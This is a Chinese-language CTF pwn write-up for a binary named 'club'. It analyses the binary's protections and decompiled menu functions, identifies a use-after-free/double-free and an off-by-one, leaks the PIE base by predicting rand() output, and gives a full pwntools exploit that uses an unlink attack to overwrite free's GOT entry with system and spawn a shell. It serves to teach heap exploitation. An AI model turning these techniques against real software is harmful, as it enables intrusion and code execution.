这是一道pwn题,需要利用程序的漏洞来getshell
然后读取存放在远程服务器上的flag
文件。
0x00 信息收集
使用checksec club
可以查看到以下信息。(用python的pip工具安装pwntools包后就可以使用checksec了,安装命令为 pip install pwntools 下载慢可以找下清华园的镜像)
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
简单介绍一下含义:
RELRO
: RELocation Read-Only, 重定向只读,可以防止GOT表被修改,这里没有开启这个保护,所以我们可以修改GOT表,来替换函数原本的功能。
Stack
: 栈溢出检查,用Canary
金丝雀值是否变化来检测,Canary found
表示开启。
NX
: No Execute,栈不可执行,windows上的DEP。
PIE
: position-independent executables, 位置无关的可执行文件,也就是常说的ASLR
(Address space layout randomization) 地址随机化, 程序每次启动基址都随机,所以一旦开启这个,就要想办法得到程序基址。
小结: 需要找程序基址,GOT表可以利用。
0x01 流程分析
用ida进行静态分析,可以看到流程很清晰,首先程序菜单如下:
.text:0000000000000AA3 lea rdi, aYouHave6Operat ; "You have 6 operation :"
.text:0000000000000AAA call _puts
.text:0000000000000AAF lea rdi, a1GetABox ; "1) get a box"
.text:0000000000000AB6 call _puts
.text:0000000000000ABB lea rdi, a2DestoryABox ; "2) destory a box"
.text:0000000000000AC2 call _puts
.text:0000000000000AC7 lea rdi, a3LeaveMeAMessa ; "3) leave me a message in box"
.text:0000000000000ACE call _puts
.text:0000000000000AD3 lea rdi, a4ShowMessageIn ; "4) show message in box"
.text:0000000000000ADA call _puts
.text:0000000000000ADF lea rdi, a5GuessARandomN ; "5) guess a random number"
.text:0000000000000AE6 call _puts
.text:0000000000000AEB lea rdi, a6Exit ; "6) exit"
.text:0000000000000AF2 call _puts
分别来看下每个选项的做用
先看1号
功能get a box
IDA F5后代码如下,相关全局变量的做用已经在分析后rename了
puts("Which box do U want to get?");
puts("1) little");
puts("2) small");
puts("3) normal");
puts("4) big");
puts("5) huge");
printf("> ");
v1 = getInput();
if ( v1 <= 0 || v1 > 5 )
return puts("It's not a box!");
if ( boxUsed[v1] )
return puts("You already have the box!");
if ( !boxSize[v1] )
{
puts("Input the size you want to get:");
printf("> ");
v2 = getInput();
if ( (signed int)calcMinSize((unsigned int)v1) > v2 ||
(signed int)calcMaxSize((unsigned int)v1) < v2 )
return puts("the size is invalid!");
boxSize[v1] = v2;
}
boxBuff[v1] = malloc(boxSize[v1]);
boxUsed[v1] = 1;
return puts("You have got the box!");
可以看出,这个功能号就是用来申请一个堆空间,不过这里对大小有限制,分别由calcMinSiz
和calcMaxSize
来计算当前申请的堆空间是不是满足条件。
在看申请堆大小限制前先去看下这些全局变量的部局。
.data:0000000000202090 ; signed int boxSize[7]
.data:0000000000202090 boxSize dd 8 ; DATA XREF: calcMinSize+20↑o
.data:0000000000202090 ; calcMinSize+3B↑o ...
.data:0000000000202090 dd 0
.data:0000000000202090 dd 0
.data:0000000000202090 dd 0
.data:0000000000202090 dd 0
.data:0000000000202090 dd 0
.data:0000000000202090 dd 1000h
... ...
... ...
.bss:0000000000202100 ; void *boxBuff[6]
.bss:0000000000202100 boxBuff dq ? ; DATA XREF: sub_C29+170↑o
.bss:0000000000202100 ; sub_DDB+D2↑o ...
.bss:0000000000202108 dq ?
.bss:0000000000202110 dq ?
.bss:0000000000202118 dq ?
.bss:0000000000202120 dq ?
.bss:0000000000202128 dq ?
.bss:0000000000202130 ; _DWORD boxUsed[6]
.bss:0000000000202130 boxUsed dd 6 dup(?) ; DATA XREF: sub_C29+9F↑o
boxSize
数组有7个元素,第0跟第6个元素已经被设定了初始值,第1到第5为0 这5个元素就是用来记录申请到的box的大小。 而第0跟第6是用来限制堆大小的,等下看到calcMinSize
和calcMaxSize
就会明白。
boxBuff
没有特殊,第1到第5总共5个元素用来记录申请的box的堆地址。
boxUsed
没有特殊,第1到第5总共5个元素用来记录5种box类型哪些已经被使用了。
接着来看一下堆大小的限制。
__int64 __fastcall calcMinSize(int a1)
{
int i; // [rsp+0h] [rbp-4h]
for ( i = a1; i > 0 && !boxSize[i]; --i )
;
return (unsigned int)(boxSize[i] + 0x10);
}
__int64 __fastcall calcMaxSize(signed int a1)
{
signed int i; // [rsp+0h] [rbp-4h]
for ( i = a1; i <= 5 && !boxSize[i]; ++i )
;
return (unsigned int)(boxSize[i] - 0x10);
}
由以上代码可以看出,申请的当前空间要比排它前面的大0x10比排在它后面的小0x10,又由于boxSize的第0与第6个元素被初始化为了8和0x1000所以我们可以申请的堆大小范围在0x18 ~ 0xFF0
之间。
get a box
中的代码功能分析完毕,并且没有发现漏洞存在。继续看下一个功能。
2号
功能destory a box
puts("Which box do U want to destroy?");
puts("1) little");
puts("2) small");
puts("3) normal");
puts("4) big");
puts("5) huge");
printf("> ");
v1 = getInput();
if ( v1 <= 0 || v1 > 5 )
return puts("It's not a box!");
if ( !boxUsed[v1] || isCanRelease[v1] )
return puts("You can not destroy the box!");
free(boxBuff[v1]);
return puts("You have destroyed the box!");
这里出现了一个新的全局变量isCanRelease
。
.data:00000000002020B0 ; _DWORD isCanRelease[6]
.data:00000000002020B0 isCanRelease dd 1
.data:00000000002020B4 dd 1
.data:00000000002020B8 dd 0
.data:00000000002020BC dd 0
.data:00000000002020C0 dd 1
.data:00000000002020C4 dd 1
结合程序逻辑可以看出,只有small
与normal
类型的box可以被free。并且由于free后没有重置boxUsed
的值,所以每种类型的box只能使用一次,这里还有一个很明显的漏洞存在,free后的buffer指针没有被清空,所以可能导致double free
的利用。
3号
功能leave me a message in box
puts("Which box do U want to leave me message?");
puts("1) little");
puts("2) small");
puts("3) normal");
puts("4) big");
puts("5) huge");
printf("> ");
v3 = getInput();
if ( v3 > 0 && v3 <= 5 )
{
fflush(stdout);
if ( boxUsed[v3] )
{
for ( i = 0; boxSize[v3] >= i; ++i )
{
read(0, &buf, 1uLL);
if ( buf == 10 )
break;
*((_BYTE *)boxBuff[v3] + i) = buf;
}
}
else
{
puts("You can not leave me message in the box!");
}
}
else
{
puts("It's not a box!");
}
向box中写入数据,这里也有一个漏洞,写入次数比buffer多了一字节,所以可以用off-by-one
,我没有用这种方式来利用,所以这里给一个off-by-one
的相关资料
4号
功能show message in box
puts("Which box do U want to see?");
puts("1) little");
puts("2) small");
puts("3) normal");
puts("4) big");
puts("5) huge");
printf("> ");
v1 = getInput();
if ( v1 <= 0 || v1 > 5 )
return puts("It's not a box!");
if ( boxUsed[v1] )
return puts((const char *)boxBuff[v1]);
return puts("You can not see message in the box!");
这里到没有什么多说的,很单纯的显示buffer内容,可以用来泄露地址。
5号
功能guess a random number
v1 = rand();
puts("Please input the number you guess:");
printf("> ");
if ( v1 == (unsigned int)getInput() )
result = printf("G00dj0b!You get a secret: %ld!\n", *(_QWORD *)&seed);
else
result = printf("Wr0ng answer!The number is %d!\n", v1);
return result;
很好玩的小游戏,预测伪随机数,猜中了返回随机种子,猜错了会告诉你正确的随机数,这里的随机种子就是seed的全局变量的地址,由于程序开启了PIE
所以这里是获取程序基址的地方。
6号
功能exit
puts("What's your name?");
printf("> ");
fflush(stdout);
read(0, src, 0x10uLL);
dest = (char *)malloc(0x20uLL);
strcpy(dest, src);
return printf("Thanks for your coming, %s\n", dest);
输入个名字,打印信息并退出,没有利用点。
小结: 可以通过猜随机数获取程序基址,利用free时不清空buffer指针来构造堆中数据和使用double free
。
0x02 堆溢出的一些资料
这部分主要是给自己做个记录,第一次玩堆,看了很多文章,这几篇不错的记录一下备忘。
0x03 构造payload
相关知识了解了以后,就要根据本题的实际情况来构造payload了
获取加载基址
首先先通过猜伪随机数来获取程序的加载基址,怎么去预测伪随机数,这里有篇文章写的很好。Linux随机数分析
看过文章可以得到一个公式 r[i] = (r[i-3] + r[i-31]) & 0x7fffffff
获取基址的代码如下:
def guess(i):
p.sendline('5')
p.recvuntil('> ')
p.sendline(str(i))
res = p.recvline()
p.recvuntil('> ')
num = res.split()[-1][:-1]
return int(num)
print '[+]guess'
p.recvuntil('> ')
baseAddr = 0
lstRand = []
#先获取前31个随机数
for i in range(31):
lstRand.append(guess(i))
#因为偶尔会有1的误差,所以猜3次
for i in range(31, 33):
rnd = (lstRand[i-3] + lstRand[i-31]) & 0x7fffffff
p.sendline('5')
p.recvuntil('> ')
p.sendline(str(rnd))
tmp = p.recvline()
if 'G00dj0b' in tmp:
baseAddr = int(tmp.split()[-1][:-1]) - 0x202148
p.recvuntil('> ')
break
p.recvuntil('> ')
print '[+]baseAddr:' + hex(baseAddr)
unlink
由于只有small
和normal
的box可以free,所以先创建normal
与big
,然后释放掉normal
,之后再创建little
与small
,并通过normal
的指针来构造fake chunk
,下面结合实际代码与内存来演示如何构造fake chunk
首先申请400与450大小的normal box
和big box
,释放normal box
,再申请150与200大小的little box
和small box
,这样normal box
与little box
的指针是同一个地址,又由于本程序中写入数据只看指针与box大小,所以此时的normal box
的指针可以同时操作little box
和small box
的内存,这样就可以来构造fake chunk
, 代码如下:
def createBox(index, size):
p.sendline('1')
p.recvuntil('> ')
p.sendline(str(index))
p.recvuntil('> ')
p.sendline(str(size))
p.recvuntil('> ')
def freeBox(index):
p.sendline('2')
p.recvuntil('> ')
p.sendline(str(index))
p.recvuntil('> ')
def writeMsg(index, msg):
p.sendline('3')
p.recvuntil('> ')
p.sendline(str(index))
p.sendline(msg)
p.recvuntil('> ')
createBox(3, 400)
createBox(4, 450)
freeBox(3)
createBox(1, 150)
createBox(2, 200)
以上代码执行后内存数据如下:
little,normal > 0000558DC84DA410 00 00 00 00 00 00 00 00 A1 00 00 00 00 00 00 00
0000558DC84DA420 E8 3C 4E 39 EB 7F 00 00 E8 3C 4E 39 EB 7F 00 00
0000558DC84DA430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA4A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA4B0 00 00 00 00 00 00 00 00 D1 00 00 00 00 00 00 00
small > 0000558DC84DA4C0 58 3B 4E 39 EB 7F 00 00 58 3B 4E 39 EB 7F 00 00
0000558DC84DA4D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA4E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA4F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA540 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA580 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00
big > 0000558DC84DA590 58 3B 4E 39 EB 7F 00 00 58 3B 4E 39 EB 7F 00 00
0000558DC84DA5A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA5B0 30 00 00 00 00 00 00 00 D0 01 00 00 00 00 00 00
开始布置fake chunk
的内存数据,就用上面的地址来描述,fake chunk
的prev size
和size
放在0x0000558DC84DA420
和0x0000558DC84DA428
处,0x0000558DC84DA430
处开始写入fd
与bk
,由于unlink
新增加的检测,所以这里需要分别写入一个指向fake chunk
头部的指针的地址减0x18和0x14,这样就能满足FD->bk == p && BK->fd == p
,p表示当前chunk
,FD
表示当前chunk
的fd
指向的chunk
, BK
表示当前chunk
的bk
指向的chunk
,所以这里选择全局变量boxBuff - 0x18
和boxBuff - 0x10
的地址来写入。
然后还要修改0x0000558DC84DA4B0
处的prev size
和0x0000558DC84DA4B8
处表示前chunk
是否空闲的最低位为0
这样当释放此处的堆时会因为向前合并而调用unlink
,所以这里根据实际情况,写入0x90
和0xD0
,构造fake chunk
后内存布局如下(A
为填充数据,不影响结果):
little,normal > 0000558DC84DA410 00 00 00 00 00 00 00 00 A1 00 00 00 00 00 00 00
0000558DC84DA420 00 00 00 00 00 00 00 00 90 00 00 00 00 00 00 00
0000558DC84DA430 F0 C0 C4 C6 8D 55 00 00 F8 C0 C4 C6 8D 55 00 00
0000558DC84DA440 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000558DC84DA450 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000558DC84DA460 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000558DC84DA470 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000558DC84DA480 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000558DC84DA490 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000558DC84DA4A0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000558DC84DA4B0 90 00 00 00 00 00 00 00 D0 00 00 00 00 00 00 00
small > 0000558DC84DA4C0 2F 62 69 6E 2F 73 68 00 00 00 00 00 00 00 00 00
0000558DC84DA4D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA4E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA4F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA540 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA580 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00
big > 0000558DC84DA590 58 3B 4E 39 EB 7F 00 00 58 3B 4E 39 EB 7F 00 00
0000558DC84DA5A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000558DC84DA5B0 30 00 00 00 00 00 00 00 D0 01 00 00 00 00 00 00
- 对
small box
进行free操作,触发unlink,使得0x0000558DC6C4C108
处的指针指向0x0000558DC6C4C0F0
,因此可以通过对0x0000558DC6C4C108
进行写入来覆盖自身的指针到任意位置,造成任意地址读写,这里选择覆盖为free
的plt表地址,这样就可以通过读取free
的plt表的值来计算system
的地址,然后再用计算出来的system
的地址覆盖plt表中free的地址,这样下次使用free时实际调用的就是system,free的指针就是/bin/sh
串的起始地址,就能get shell
。
完整的利用脚本如下:
from pwn import *
context.arch = 'amd64'
p = process('./club')
libc = ELF('./libc-2.24.so')
#p = remote('123.206.22.95', 8888)
#libc = ELF('./libc.so.6')
#context.log_level = 'debug'
def writeMsg(index, msg):
p.sendline('3')
p.recvuntil('> ')
p.sendline(str(index))
p.sendline(msg)
p.recvuntil('> ')
def createBox(index, size):
p.sendline('1')
p.recvuntil('> ')
p.sendline(str(index))
p.recvuntil('> ')
p.sendline(str(size))
p.recvuntil('> ')
def freeBox(index):
p.sendline('2')
p.recvuntil('> ')
p.sendline(str(index))
p.recvuntil('> ')
def guess(i):
p.sendline('5')
p.recvuntil('> ')
p.sendline(str(i))
res = p.recvline()
p.recvuntil('> ')
num = res.split()[-1][:-1]
return int(num)
if __name__ == '__main__':
print '[+]guess random number'
p.recvuntil('> ')
baseAddr = 0
lstRand = []
for i in range(31):
lstRand.append(guess(i))
for i in range(31, 33):
rnd = (lstRand[i-3] + lstRand[i-31]) & 0x7fffffff
p.sendline('5')
p.recvuntil('> ')
p.sendline(str(rnd))
tmp = p.recvline()
if 'G00dj0b' in tmp:
baseAddr = int(tmp.split()[-1][:-1]) - 0x202148
p.recvuntil('> ')
break
p.recvuntil('> ')
print '[+]baseAddr:' + hex(baseAddr)
print '[+]begin make fake chunk'
createBox(3, 400)
createBox(4, 450)
freeBox(3)
createBox(1, 150)
createBox(2, 200)
boxbuff = baseAddr + 0x202100
print '[+]boxbuff:' + hex(boxbuff)
payload = p64(0) + p64(0x90) + p64(boxbuff-0x10) + p64(boxbuff-0x8) + 'A'*0x70 + p64(0x90) + p64(0xD0) + '/bin/sh\x00' + '\0' * 0x20
writeMsg(3, payload)
print '[+]begin unlink'
freeBox(2)
print '[+]modify free to system'
freeAddr = baseAddr + 0x202018
print '[+]freed@plt:' + hex(freeAddr)
freeOff = libc.symbols['free']
systemOff = libc.symbols['system']
payload2 = p64(0) + p64(0) + p64(0) + p64(freeAddr)
writeMsg(1, payload2)
p.sendline('4')
p.recvuntil('> ')
p.sendline('1')
tmp = p.recvline(keepends=False)
p.recvuntil('> ')
print '[+]free addr:' + hex(u64(tmp.ljust(8, "\0")))
systemAddr = u64(tmp.ljust(8, "\0")) - freeOff + systemOff
print '[+]system addr:' + hex(systemAddr)
writeMsg(1, p64(systemAddr))
print '[+]get shell'
p.sendline('2')
p.recvuntil('> ')
p.sendline('2')
p.interactive()
阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开
发者可享99元/年,续费同价!